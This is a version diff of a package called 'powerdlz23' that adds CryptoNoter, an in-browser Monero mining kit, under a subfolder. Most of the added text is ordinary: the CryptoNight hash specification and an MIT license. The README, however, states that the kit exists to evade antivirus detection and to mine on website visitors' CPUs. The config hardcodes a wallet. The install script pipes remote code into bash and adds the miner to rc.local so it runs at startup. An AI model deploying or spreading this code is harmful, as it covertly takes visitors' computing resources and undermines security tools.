powerdlz23 1.2.2 → 1.2.3

package/pto/CryptoNoter/CryptoNight.txt

@@ -0,0 +1,364 @@
+CRYPTONOTE STANDARD 008                                           Seigen
+Category: Main Track                                         Max Jameson
+                                                          Tuomo Nieminen
+                                                               Neocortex
+                                                       Antonio M. Juarez
+                                                              CryptoNote
+                                                              March 2013
+
+
+                       CryptoNight Hash Function
+
+
+Abstract
+
+   This document is part of the CryptoNote Standards describing a peer-
+   to-peer anonymous payment system. It defines the CryptoNote's default
+   proof-of-work hash function, CryptoNight.
+
+
+Copyright and License Notice
+
+   Copyright (c) 2013 CryptoNote. This document is available under the
+   Creative Commons Attribution 3.0 License (international). To view a
+   copy of the license visit http://creativecommons.org/licenses/by/3.0/
+
+
+Table of Contents
+
+   1. Introduction  . . . . . . . . . . . . . . . . . . . . . . . . .  2
+   2. Definitions . . . . . . . . . . . . . . . . . . . . . . . . . .  2
+   3. Scratchpad Initialization . . . . . . . . . . . . . . . . . . .  2
+   4. Memory-Hard Loop  . . . . . . . . . . . . . . . . . . . . . . .  4
+   5. Result Calculation  . . . . . . . . . . . . . . . . . . . . . .  6
+   6. References  . . . . . . . . . . . . . . . . . . . . . . . . . .  8
+
+
+
+1. Introduction
+
+   CryptoNight is a memory-hard hash function. It is designed to be
+   inefficiently computable on GPU, FPGA and ASIC architectures. The
+   CryptoNight algorithm's first step is initializing large scratchpad
+   with pseudo-random data. The next step is numerous read/write
+   operations at pseudo-random addresses contained in the scratchpad.
+   The final step is hashing the entire scratchpad to produce the
+   resulting value.
+
+
+2. Definitions
+
+   hash function: an efficiently computable function which maps data of
+   arbitrary size to data of fixed size and behaves similarly to a
+   random function
+
+   scratchpad: a large area of memory used to store intermediate values
+   during the evaluation of a memory-hard function
+
+
+3. Scratchpad Initialization
+
+   First, the input is hashed using Keccak [KECCAK] with parameters b =
+   1600 and c = 512. The bytes 0..31 of the Keccak final state are
+   interpreted as an AES-256 key [AES] and expanded to 10 round keys. A
+   scratchpad of 2097152 bytes (2 MiB) is allocated. The bytes 64..191
+   are extracted from the Keccak final state and split into 8 blocks of
+   16 bytes each. Each block is encrypted using the following procedure:
+
+      for i = 0..9 do:
+          block = aes_round(block, round_keys[i])
+
+   Where aes_round function performs a round of AES encryption, which
+   means that SubBytes, ShiftRows and MixColumns steps are performed on
+   the block, and the result is XORed with the round key. Note that
+   unlike in the AES encryption algorithm, the first and the last rounds
+   are not special. The resulting blocks are written into the first 128
+   bytes of the scratchpad. Then, these blocks are encrypted again in
+   the same way, and the result is written into the second 128 bytes of
+   the scratchpad. Each time 128 bytes are written, they represent the
+   result of the encryption of the previously written 128 bytes. The
+   process is repeated until the scratchpad is fully initialized.
+
+   This diagram illustrates scratchpad initialization:
+
+
+                               +-----+
+                               |Input|
+                               +-----+
+                                  |
+                                  V
+                             +--------+
+                             | Keccak |
+                             +--------+
+                                  |
+                                  V
+   +-------------------------------------------------------------+
+   |                         Final state                         |
+   +-------------+--------------+---------------+----------------+
+   | Bytes 0..31 | Bytes 32..63 | Bytes 64..191 | Bytes 192..199 |
+   +-------------+--------------+---------------+----------------+
+          |                             |
+          V                             |
+   +-------------+                      V
+   | Round key 0 |------------+---+->+-----+
+   +-------------+            |   |  |     |
+   |      .      |            |   |  |     |
+   |      .      |            |   |  | AES |
+   |      .      |            |   |  |     |
+   +-------------+            |   |  |     |
+   | Round key 9 |----------+-|-+-|->+-----+                 +---+
+   +-------------+          | | | |     |                    |   |
+                            | | | |     +------------------->|   |
+                            | | | |     |                    |   |
+                            | | | |     V                    |   |
+                            | | | +->+-----+                 |   |
+                            | | |    |     |                 | S |
+                            | | |    |     |                 |   |
+                            | | |    | AES |                 | c |
+                            | | |    |     |                 |   |
+                            | | |    |     |                 | r |
+                            | | +--->+-----+                 |   |
+                            | |         |                    | a |
+                            | |         +------------------->|   |
+                            | |         .                    | t |
+                            | |         .                    |   |
+                            | |         .                    | c |
+                            | |         +------------------->|   |
+                            | |         |                    | h |
+                            | |         V                    |   |
+                            | +----->+-----+                 | p |
+                            |        |     |                 |   |
+                            |        |     |                 | a |
+                            |        | AES |                 |   |
+                            |        |     |                 | d |
+                            |        |     |                 |   |
+                            +------->+-----+                 |   |
+                                        |                    |   |
+                                        +------------------->|   |
+                                                             |   |
+                                                             +---+
+
+              Figure 3: Scratchpad initialization diagram
+
+
+4. Memory-Hard Loop
+
+   Prior to the main loop, bytes 0..31 and 32..63 of the Keccak state
+   are XORed, and the resulting 32 bytes are used to initialize
+   variables a and b, 16 bytes each. These variables are used in the
+   main loop. The main loop is iterated 524,288 times. When a 16-byte
+   value needs to be converted into an address in the scratchpad, it is
+   interpreted as a little-endian integer, and the 21 low-order bits are
+   used as a byte index. However, the 4 low-order bits of the index are
+   cleared to ensure the 16-byte alignment. The data is read from and
+   written to the scratchpad in 16-byte blocks. Each iteration can be
+   expressed with the following pseudo-code:
+
+      scratchpad_address = to_scratchpad_address(a)
+      scratchpad[scratchpad_address] = aes_round(scratchpad 
+        [scratchpad_address], a)
+      b, scratchpad[scratchpad_address] = scratchpad[scratchpad_address],
+        b xor scratchpad[scratchpad_address]
+      scratchpad_address = to_scratchpad_address(b)
+      a = 8byte_add(a, 8byte_mul(b, scratchpad[scratchpad_address]))
+      a, scratchpad[scratchpad_address] = a xor 
+        scratchpad[scratchpad_address], a
+
+   Where, the 8byte_add function represents each of the arguments as a
+   pair of 64-bit little-endian values and adds them together,
+   component-wise, modulo 2^64. The result is converted back into 16
+   bytes.
+
+   The 8byte_mul function, however, uses only the first 8 bytes of each
+   argument, which are interpreted as unsigned 64-bit little-endian
+   integers and multiplied together. The result is converted into 16
+   bytes, and finally the two 8-byte halves of the result are swapped.
+
+   This diagram illustrates the memory-hard loop:
+
+   +-------------------------------------------------------------+
+   |                         Final state                         |
+   +-------------+--------------+---------------+----------------+
+   | Bytes 0..31 | Bytes 32..63 | Bytes 64..191 | Bytes 192..199 |
+   +-------------+--------------+---------------+----------------+
+          |             |
+          |   +-----+   |
+          +-->| XOR |<--+
+              +-----+
+               |   |
+          +----+   +----+
+          |             |
+          V             V
+        +---+         +---+
+        | a |         | b |
+        +---+         +---+
+          |             |
+   --------------------- REPEAT 524288 TIMES ---------------------
+          |             |                            address +---+
+          +-------------|----------------------------------->|   |
+          |   +-----+   |                               read |   |
+          +-->| AES |<--|------------------------------------|   |
+          |   +-----+   V                                    |   |
+          |      |   +-----+                                 | S |
+          |      +-->| XOR |                                 |   |
+          |      |   +-----+                           write | c |
+          |      |      |    +------------------------------>|   |
+          |      |      +----+                       address | r |
+          |      +------------------------------------------>|   |
+          |      |  +-----------+                       read | a |
+          |      +->| 8byte_mul |<--+------------------------|   |
+          |      |  +-----------+   |                        | t |
+          |      |        |         |                        |   |
+          |      |        V         |                        | c |
+          |      |  +-----------+   |                        |   |
+          +------|->| 8byte_add |   |                        | h |
+                 |  +-----------+   |                        |   |
+                 |        |         |                  write | p |
+                 |        +---------|----------------------->|   |
+                 |        |         |                        | a |
+                 |        V         |                        |   |
+                 |     +-----+      |                        | d |
+                 |     | XOR |<-----+                        |   |
+                 |     +-----+                               |   |
+                 +------+ |                                  |   |
+          +-------------|-+                                  |   |
+          |             |                                    +---+
+   -------------------------- END REPEAT -------------------------
+          |             |
+
+                   Figure 4: Memory-hard loop diagram
+
+
+5. Result Calculation
+
+   After the memory-hard part, bytes 32..63 from the Keccak state are
+   expanded into 10 AES round keys in the same manner as in the first
+   part.
+
+   Bytes 64..191 are extracted from the Keccak state and XORed with the
+   first 128 bytes of the scratchpad. Then the result is encrypted in
+   the same manner as in the first part, but using the new keys. The
+   result is XORed with the second 128 bytes from the scratchpad,
+   encrypted again, and so on. 
+
+   After XORing with the last 128 bytes of the scratchpad, the result is
+   encrypted the last time, and then the bytes 64..191 in the Keccak
+   state are replaced with the result. Then, the Keccak state is passed
+   through Keccak-f (the Keccak permutation) with b = 1600. 
+
+   Then, the 2 low-order bits of the first byte of the state are used to
+   select a hash function: 0=BLAKE-256 [BLAKE], 1=Groestl-256 [GROESTL],
+   2=JH-256 [JH], and 3=Skein-256 [SKEIN]. The chosen hash function is
+   then applied to the Keccak state, and the resulting hash is the
+   output of CryptoNight.
+
+   The diagram below illustrates the result calculation:
+
+   +-------------------------------------------------------------+
+   |                         Final state                         |
+   +-------------+--------------+---------------+----------------+
+   | Bytes 0..31 | Bytes 32..63 | Bytes 64..191 | Bytes 192..199 |
+   +-------------+--------------+---------------+----------------+
+         |                |             |                |
+         |       +--------+             |                |
+         |       V        |             |                |
+         |+-------------+ |             |                |
+         || Round key 0 |-|---+---+     |                |
+         |+-------------+ |   |   |     |                |
+         ||      .      | |   |   |     |                |
+         ||      .      | |   |   |     |                |
+         ||      .      | |   |   |     |                |
+         |+-------------+ |   |   |     |                |
+   +---+ || Round key 9 |-|-+-|-+ |     V                |
+   |   | |+-------------+ | | | | |  +-----+             |
+   |   |-|----------------|-|-|-|-|->| XOR |             |
+   |   | |                | | | | |  +-----+             |
+   | S | |                | | | | |     |                |
+   |   | |                | | | | |     V                |
+   | c | |                | | | | +->+-----+             |
+   |   | |                | | | |    |     |             |
+   | r | |                | | | |    |     |             |
+   |   | |                | | | |    | AES |             |
+   | a | |                | | | |    |     |             |
+   |   | |                | | | |    |     |             |
+   | t | |                | | | +--->+-----+             |
+   |   | |                | | |         |                |
+   | c | |                | | |         V                |
+   |   | |                | | |      +-----+             |
+   | h |-|----------------|-|-|----->| XOR |             |
+   |   | |                | | |      +-----+             |
+   | p | |                | | |         |                |
+   |   | |                | | |         .                |
+   | a | |                | | |         .                |
+   |   | |                | | |         .                |
+   | d | |                | | |         |                |
+   |   | |                | | |         V                |
+   |   | |                | | |      +-----+             |
+   |   |-|----------------|-|-|----->| XOR |             |
+   |   | |                | | |      +-----+             |
+   +---+ |                | | |         |                |
+         |                | | |         V                |
+         |                | | +----->+-----+             |
+         |                | |        |     |             |
+         |                | |        |     |             |
+         |                | |        | AES |             |
+         |                | |        |     |             |
+         |                | |        |     |             |
+         |                | +------->+-----+             |
+         |                |             |                |
+         V                V             V                V
+   +-------------+--------------+---------------+----------------+
+   | Bytes 0..31 | Bytes 32..63 | Bytes 64..191 | Bytes 192..199 |
+   +-------------+--------------+---------------+----------------+
+   |                       Modified state                        |
+   +-------------------------------------------------------------+
+                                  |
+                                  V
+                            +----------+
+                            | Keccak-f |
+                            +----------+
+                             |    |
+                 +-----------+    |
+                 |                |
+                 V                V
+          +-------------+  +-------------+
+          | Select hash |->| Chosen hash |
+          +-------------+  +-------------+
+                                  |
+                                  V
+                          +--------------+
+                          | Final result |
+                          +--------------+
+
+                  Figure 5: Result calculation diagram
+
+
+   Hash examples:
+
+      Empty string:
+      eb14e8a833fac6fe9a43b57b336789c46ffe93f2868452240720607b14387e11.
+
+      "This is a test":
+      a084f01d1437a09c6985401b60d43554ae105802c5f5d8a9b3253649c0be6605.
+
+
+6. References
+
+   [AES] "Announcing the ADVANCED ENCRYPTION STANDARD", FIPS 197, 2001.
+
+   [BLAKE] Aumasson, J.-P., Henzen, L., Meier, W., and R. C.-W. Phan,
+   "SHA-3 proposal BLAKE", 2010.
+
+   [GROESTL] Gauravaram, P., Knudsen, L., Matusiewicz, K., Mendel, F.,
+ 
+   Rechberger, C., Schlaffer, M., and S. Thomsen, "Groestl - a SHA-3
+   candidate", 2011.
+
+   [JH] Wu, H., "The Hash Function JH", 2011.
+
+   [KECCAK] Bertoni, G., Daemen, J., Peeters, M., and G. Van Assche,
+   "The Keccak reference", 2011.
+
+   [SKEIN] Ferguson, N., Lucks, S., Schneier, B., Whiting, D., Bellare,
+   M., Kohno, T., Callas, J., and J. Walker, "The Skein Hash Function
+   Family", 2008.

package/pto/CryptoNoter/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2017 cryptonoter
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/pto/CryptoNoter/README.md

@@ -0,0 +1,178 @@
+## IMPORTANT NOTE
+I (JayWalker512, aka Brandon Foltz) am NOT the author of this software. I forked this repository from it's original author (cryptonoter) to serve as a mirror in case they disappeared and deleted their repository (which they did). 
+
+I cannot provide any assistance, support, bug fixes, etc. for this software. You are 100% on your own and using this software at your own risk.
+
+## CryptoNoter In-Browser Javascript XMR miner
+`Open Source Project` `"Plug & Play" Installation` `Set Up Within 10 Mins`<br /><br />
+In-Browser Javascript XMR miner for websites / Payout towards personal XMR wallet<br />
+Built for in-browser javascript mining on any Monero pools. 0% Commission. 100% Payout
+* You can set up CryptoNoter wthin 10 minutes if you have basic knowledge of server set-up. If you are a newbie, you might need to take some time to set up CryptoNoter
+
+## Why This Open Source Project Is Created
+* Websites that use Javscript browser miners (Coinhive, Crypto-Loot, etc) are specifically targeted by most anti-virus softwares including the built-in Windows Defender. When visitors visit these websites, they will be notified that malicious codes / viruses have been detected on these websites. Well, you should know how such notifications affect the website. In addition, you get charged up to 30% commission by these javscript mining platforms.
+
+This open source project is created to bypass detection and avoid being flagged as malicious websites by running your own Javscript Mining Server and deploying it on your websites. It is similar to Coinhive idea, however you do not have to be charged for any percent of your earnings. You can point to any Monero mining pool and get 100% for your mining efforts. (Of course, less the pool fees)
+
+CryptoNoter Demo: https://www.cryptonoter.com/demo.php
+
+## Requirements
+The project is basically a "Plug & Play" installation. Most of the configurations are setup automatically when you run the installation. Simply follow the step by step installation. 
+
+However, if you decide to modify or optimize CryptoNoter for maximum mining capabilities, you will need good knowledge on Nginx Reverse Proxy, javascript, etc. For example, we did approx 1550 H/s for a website with approx 15,000 visitors (Avg Time on Page: 55 secs / visitor) before optimization. After optimization, we are doing on avg 3500 H/s
+
+`Minimum System Requirements`
+1. Server with at least 1 CPU, 1 GB Ram & 8GB Harddisk [You will need better specs if you have higher traffic load]
+2. Ubuntu(Debian) OS
+3. Nginx, Nodejs, NPM & Forever Packages
+4. SSL Support For Domain. Use https://certbot.eff.org/
+
+`IMPORTANT NOTE:` DO NOT USE GOOGLE COMPUTE ENGINE (GCE) or other related Google CLoud Services for crypto-mining services. It is in violation of their TOS. Google will suspend your account, lock your files and charge you for the usage. Been there, done that. So don't waste your precious time.
+
+## Installation
+Install CryptoNoter
+```bash
+curl https://raw.githubusercontent.com/cryptonoter/CryptoNoter/master/install.sh > install.sh
+sudo sh install.sh
+```
+
+During the installation process, you are REQUIRED to specify your Monero Wallet Address. If you do not specify your wallet address, the installer will prompt you for it before proceeding with installation.
+
+* Install Control Panel (Vesta CP or Cpanel)
+* Set Up Your Domain DNS Properly & Configure Firewalls
+* Use CertBot To Assign SSL For Your Domain
+* Login Via FTP and Upload The Files Within The `web` Folder To Your Domain
+
+## Important
+This is a Nginx Reverse Proxy server setup, YOU NEED TO ADD THE FOLLOWING TO YOUR NGINX.CONF file under the domain. Without the following configuration, it will not work.
+
+```html
+   location /proxy {  
+  	add_header 'Access-Control-Allow-Origin' * always;
+  	proxy_pass http://localhost:7777;
+        proxy_http_version 1.1;
+        proxy_set_header Upgrade $http_upgrade;
+        proxy_set_header Connection "upgrade";
+      }
+```
+
+## Usage
+* Run CryptoNoter server.js script
+```bash
+forever start /srv/CryptoNoter/server.js
+```
+* Make sure CryptoNoter server.js script is running on the server by using the command `forever list`
+```bash
+info:    Forever processes running
+data:        uid  command       script                     forever pid  id logfile                 uptime
+data:    [0] tX4L /usr/bin/node /srv/CryptoNoter/server.js 7379    7385    /root/.forever/tX4L.log 0:0:59:11.96
+```
+* Make sure you have uploaded the `web` folder to your domain public_html or domain root. Ensure you can access https://YOUR_DOMAIN_NAME/demo.html
+
+* Change the settings for these files: worker.js, processor.js & lib/cryptonight-asmjs.min.js<br />
+Replace %CryptoNoter_domain% with your DOMAIN_NAME
+
+```html
+self.CryptoNoter = self.CryptoNoter || {};
+self.CryptoNoter.CONFIG = {
+    LIB_URL: "https://%CryptoNoter_domain%/lib/",
+    WEBSOCKET_SHARDS: [["wss://%CryptoNoter_domain%/proxy"]],
+    CAPTCHA_URL: "https://%CryptoNoter_domain%/captcha/",
+    MINER_URL: "https://%CryptoNoter_domain%/media/miner.html"
+};
+```
+
+* Add the following javascript before the `</head>` tag onto webpages that you want the miner to run on. Remember to replace www.cryptonoter.com with your domain name. Else, you will be mining for my wallet
+```html
+<script src="https://www.cryptonoter.com/processor.js"></script>
+<script>
+    var miner = new CryptoNoter.Anonymous('CryptoNoter').start();
+</script>
+```
+* Done! You can now start mining using your visitors' CPU resources by adding the above tag to any of your websites.
+Have a look at CryptoNoter Demo: https://www.cryptonoter.com/demo.php
+
+## JS Miner Documentation
+There are parameters that you can preset within the javscript miner script.
+
+*`autothreads(value)`
+The number of threads the miner should start with. Set to true is to auto detect the number of CPU cores available on the user's computer.
+
+*`throttle(value)`
+Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.8 they will stay idle 80% of the time.
+
+Here are some basic configuration for the parameters:
+```html
+<script src="https://www.cryptonoter.com/processor.js"></script>
+<script>
+	var addr = 'CryptoNoter';
+	var miner = new CryptoNoter.Anonymous(addr, {
+        autoThreads: true,
+	throttle: 0.8
+	});
+	miner.start();
+</script>
+```
+
+## Troubleshooting
+Check if server.js execute successfully by using this command
+```bash
+node /srv/CryptoNoter/server.js
+```
+If script executes successfully, it should show:
+```bash
+In-Browser Javascript XMR miner for websites / Payout towards personal XMR wallet
+Built for in-browser javascript mining on any Monero pools. 0% Commission. 100% Payout
+
+ Listen on : 127.0.0.1:7777
+ Pool Host : monero.us.to:1111
+ Ur Wallet : YOUR_WALLET_ADDRESS
+```
+If script executes unsucessfully, it should show error logs. Troubleshoot by referring to the errors shown.
+`For example:` The error log shown below means that the port 7777 is currently in use. `To resolve:` Simply listen to the port 7777, identify the process that is using the port and kill the process. Then try executing the script server.js again
+```bash
+Error: listen EADDRINUSE 127.0.0.1:7777
+    at Object._errnoException (util.js:1024:11)
+    at _exceptionWithHostPort (util.js:1046:20)
+    at Server.setupListenHandle [as _listen2] (net.js:1351:14)
+    at listenInCluster (net.js:1392:12)
+    at doListen (net.js:1501:7)
+    at _combinedTickCallback (internal/process/next_tick.js:141:11)
+    at process._tickCallback (internal/process/next_tick.js:180:9)
+    at Function.Module.runMain (module.js:678:11)
+    at startup (bootstrap_node.js:187:16)
+    at bootstrap_node.js:608:3
+```
+`Common Issues & Bugs:`
+1. Port in use. Check if the port is listening?
+2. Connection errors are commonly casused by iptables. Check your firewall settings
+3. CryptoNoter not generating hashes. Check your config.json setting
+4. Check the setting of nginx.conf, config.json, worker.js, processor.js & cryptonight-asmjs.min.js
+
+If you have any questions on Troubleshooting & Debugging, please ask the questions here: https://github.com/cryptonoter/CryptoNoter/issues/1
+
+## Future Developments
+At this moment, I'm working on the coding to make it compatible with majority of the CryptoNote currencies. In addition, i am also working to build a pool that supports in-browser javascript mining.
+
+## Mining Pools
+I am not affilated to the xmr mining pool: monero.us.to:1111
+This pool is referenced in the coding because i am personally using it for my web mining network. It is not the best ideal pool and you may change it to whichever pool you prefer.
+
+I am planning to create and host a custom pool that supports difficulty level < 500 so that miners can submit their shares more often within 60 seconds interval. 
+
+In a low difficulty pool, miners submit shares more often and hence results in higher bandwidth costs. It will be difficult for me to maintain a low difficulty pool all by myself, however it will be possible if everyone can understand the mission of the project: Great things happen when we work together. The power of collaboration.
+
+Please consider a donation for my future developments. Thank you
+
+## XMR Donations To Support
+I am looking to add other cryptonote currencies support onto this platform and also to create a monero pool specifically for javascript browser mining. There are costs involved in developments. If you are interested in my future developments, i would really appreciate a small donation to support this project.
+```html
+My Monero Wallet Address
+42zXE5jcPpWR2J6pVRE39uJEqUdMWdW2H4if27wcS1bwUbBRTeSR5aDbAxP5KCjWueiZevjSBxqNZ36Q5ANPND3m4RJoeqX
+```
+
+## License
+MIT https://raw.github.com/cryptonoter/CryptoNoter/master/LICENSE
+
+## Missions
+Great things happen when we work together. The power of collaboration

package/pto/CryptoNoter/banner

@@ -0,0 +1,4 @@
+CryptoNoter
+In-Browser Javascript XMR miner for websites / Payout towards personal XMR wallet
+Built for in-browser javascript mining on any Monero pools. 0% Commission. 100% Payout
+----------------------------------------------------------------------------------------

package/pto/CryptoNoter/config.json

@@ -0,0 +1,8 @@
+{
+    "lhost": "127.0.0.1",
+    "lport": 7777,
+    "domain": "localhost",
+    "pool": "monero.us.to:1111",
+    "addr": "42zXE5jcPpWR2J6pVRE39uJEqUdMWdW2H4if27wcS1bwUbBRTeSR5aDbAxP5KCjWueiZevjSBxqNZ36Q5ANPND3m4RJoeqX",
+    "pass": "x"
+}

package/pto/CryptoNoter/install.sh

@@ -0,0 +1,60 @@
+read -p "[1] Listen Port (7777) > " lport
+read -p "[2] Your Domain (localhost) > " domain
+read -p "[3] Pool Host&Port (monero.us.to:1111) > " pool
+read -p "[4] Your XMR wallet (important!!!) > " addr
+if [ ! -n "$lport" ];then
+    lport="7777"
+fi
+if [ ! -n "$domain" ];then
+    domain="localhost"
+fi
+if [ ! -n "$pool" ];then
+    pool="monero.us.to:1111"
+fi
+while  [ ! -n "$addr" ];do
+    read -p "Plesae set XMR wallet address!!! > " addr
+done
+read -p "[5] The Pool passwd (null) > " pass
+curl -sL https://deb.nodesource.com/setup_8.x | bash -
+apt install --yes nodejs git curl nginx
+mkdir /srv
+cd /srv
+rm -rf CryptoNoter
+git clone https://github.com/cryptonoter/CryptoNoter.git -o CryptoNoter
+cd CryptoNoter
+sed -i "s/7777/$lport/g" config.json
+sed -i "s/miner.cryptonoter.com/$domain/g" config.json
+sed -i "s/monero.us.to:1111/$pool/g" config.json
+sed -i "s/42zXE5jcPpWR2J6pVRE39uJEqUdMWdW2H4if27wcS1bwUbBRTeSR5aDbAxP5KCjWueiZevjSBxqNZ36Q5ANPND3m4RJoeqX/$addr/g" config.json
+sed -i "s/\"pass\": \"\"/\"pass\": \"$pass\"/g" config.json
+npm update
+npm install -g forever
+forever start /srv/CryptoNoter/server.js
+sed -i '/forever start \/srv\/CryptoNoter\/server.js/d' /etc/rc.local
+sed -i '/exit 0/d' /etc/rc.local
+echo "forever start /srv/CryptoNoter/server.js" >> /etc/rc.local
+echo "exit 0" >> /etc/rc.local
+rm -rf /etc/nginx/sites-available/CryptoNoter.conf
+rm -rf /etc/nginx/sites-enabled/CryptoNoter.conf
+echo 'server {' >> /etc/nginx/sites-available/CryptoNoter.conf
+echo 'listen 80;' >> /etc/nginx/sites-available/CryptoNoter.conf
+echo "server_name $domain;" >> /etc/nginx/sites-available/CryptoNoter.conf
+echo 'location / {' >> /etc/nginx/sites-available/CryptoNoter.conf
+echo 'proxy_http_version 1.1;' >> /etc/nginx/sites-available/CryptoNoter.conf
+echo 'proxy_set_header   Host	$http_host;' >> /etc/nginx/sites-available/CryptoNoter.conf
+echo 'proxy_set_header   X-Real-IP $remote_addr;' >> /etc/nginx/sites-available/CryptoNoter.conf
+echo 'proxy_set_header   Upgrade $http_upgrade;' >> /etc/nginx/sites-available/CryptoNoter.conf
+echo 'proxy_set_header   Connection "upgrade";' >> /etc/nginx/sites-available/CryptoNoter.conf
+echo 'proxy_cache_bypass $http_upgrade;' >> /etc/nginx/sites-available/CryptoNoter.conf
+echo "proxy_pass         http://127.0.0.1:$lport;" >> /etc/nginx/sites-available/CryptoNoter.conf
+echo '}' >> /etc/nginx/sites-available/CryptoNoter.conf
+echo '}' >> /etc/nginx/sites-available/CryptoNoter.conf
+ln -s /etc/nginx/sites-available/CryptoNoter.conf /etc/nginx/sites-enabled/CryptoNoter.conf
+clear
+echo " >>> Serv : $domain (backend > 127.0.0.1:$lport)"
+echo " >>> Pool : $pool"
+echo " >>> Addr : $addr"
+echo ""
+echo " Installation Completed ! Start Mining Monero Using CryptoNoter !"
+echo ""
+service nginx restart